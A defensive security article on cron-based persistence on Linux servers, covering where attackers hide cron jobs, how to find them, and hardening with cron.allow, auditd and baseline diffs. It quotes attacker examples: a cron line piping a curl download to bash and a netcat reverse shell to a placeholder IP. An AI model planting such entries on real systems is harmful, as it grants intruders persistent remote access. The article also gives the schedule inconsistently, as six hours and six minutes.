In the 2024 compromise of a fintech firm’s Ubuntu build server, attackers maintained access for 47 days through a single cron entry that re-downloaded a reverse shell every six hours. Nobody noticed because the job was buried under a legitimate service account. Cron abuse is one of the oldest persistence tricks in the book — and it still works.
How Attackers Plant Malicious Cron Jobs
Cron gives you seven places to hide a backdoor. Most defenders only check one. Here’s the full map an attacker mentally walks through after gaining initial access:
/var/spool/cron/crontabs/— per-user crontabs/etc/crontab— system-wide table with user column/etc/cron.d/— drop-in files, same format as /etc/crontab/etc/cron.hourly/,/etc/cron.daily/,/etc/cron.weekly/,/etc/cron.monthly/— plain scripts, no schedule syntax needed
A real attacker payload looks mundane on purpose. After compromising the service account svc_deploy on build01.corp.internal (192.0.2.45), they drop this into /etc/cron.d/sys_update:
# System update check — do not remove
*/6 * * * * svc_deploy curl -fsSL http://192.0.2.201/update.sh | bash 2>/dev/null
The filename mimics a legitimate update task. Output is suppressed with 2>/dev/null. The script is fetched and piped directly to bash — nothing is written to disk beyond the cron entry itself. Every six minutes, the attacker gets a fresh shell callback even if the previous session was killed.
The attacker chose /etc/cron.d/ because files there survive a crontab -r run by the compromised user, and most SOC runbooks stop at crontab -l.
Detecting Malicious Cron Entries
Manual review doesn’t scale. Use this one-liner to dump every cron location on a host into a single, grep-able output:
for user in $(cut -f1 -d: /etc/passwd); do
crontab -u $user -l 2>/dev/null | sed "s/^/$user: /";
done;
cat /etc/crontab /etc/cron.d/* 2>/dev/null;
ls -la /etc/cron.{hourly,daily,weekly,monthly}/
On build01.corp.internal, the output includes:
svc_deploy: no crontab for svc_deploy
# /etc/cron.d/sys_update
*/6 * * * * svc_deploy curl -fsSL http://192.0.2.201/update.sh | bash 2>/dev/null
/etc/cron.daily/:
total 32
-rwxr-xr-x 1 root root 376 Sep 14 03:12 logrotate
-rwxr-xr-x 1 root root 89 Oct 01 22:47 .syscheck
Two red flags jump out immediately. First, the */6 * * * * entry in sys_update hits an IP address directly — legitimate package mirrors use hostnames. Second, a hidden file .syscheck in /etc/cron.daily/ was written at 22:47 on October 1st — likely during a late-night intrusion window. Hidden filenames (leading dot) in cron directories are never legitimate.
Check what .syscheck actually does:
cat /etc/cron.daily/.syscheck
#!/bin/bash
nc -e /bin/bash 192.0.2.201 4444 &
Classic netcat reverse shell, executed daily with root privileges because /etc/cron.daily/ runs as root. Now you have two persistence mechanisms to kill and an attacker C2 IP to block and trace.
Hardening Cron to Prevent Abuse
Detection is reactive. These controls make cron abuse significantly harder in the first place.
Restrict Who Can Use Cron
Use the allow/deny files to whitelist only users who legitimately need scheduled tasks:
# Allow only root and the backup user
echo -e "root\nbkp_agent" > /etc/cron.allow
echo "ALL" > /etc/cron.deny
When /etc/cron.allow exists, only listed users can run crontab. Every other account — including a compromised svc_deploy — gets denied. This doesn’t protect /etc/cron.d/ from root-level writes, but it eliminates user-level crontab abuse instantly.
Monitor Cron Directories with Auditd
Add audit rules to alert on any write to cron locations:
auditctl -w /etc/cron.d/ -p wa -k cron_modification
auditctl -w /var/spool/cron/ -p wa -k cron_modification
auditctl -w /etc/crontab -p wa -k cron_modification
Now any file creation or modification in these paths generates an audit event. Search for it with:
ausearch -k cron_modification --start today
Wire this into your SIEM and alert on any cron directory write that originates from a non-root process or occurs outside change windows. Attackers can’t avoid writing to disk to plant a cron job — that write is your detection point.
Baseline and Diff
Take a known-good snapshot of all cron content after a clean build. Store it in version control or a read-only artifact store. Run a daily diff in your pipeline:
find /etc/cron* /var/spool/cron -type f | sort | xargs sha256sum > /opt/baselines/cron_today.txt
diff /opt/baselines/cron_clean.txt /opt/baselines/cron_today.txt
Any new file or hash change surfaces immediately. On a build server that should have a static cron configuration, any delta is an incident.
What To Do Now
Right now, SSH into one of your Linux servers and run the full cron dump one-liner from the detection section above. Pipe the output to a file and spend five minutes reading it. Look for IP addresses where you expect hostnames, hidden filenames, pipes to bash, and entries owned by service accounts that have no business scheduling tasks. That five-minute audit has caught real compromises — it will take you longer to read this sentence than to run the command.
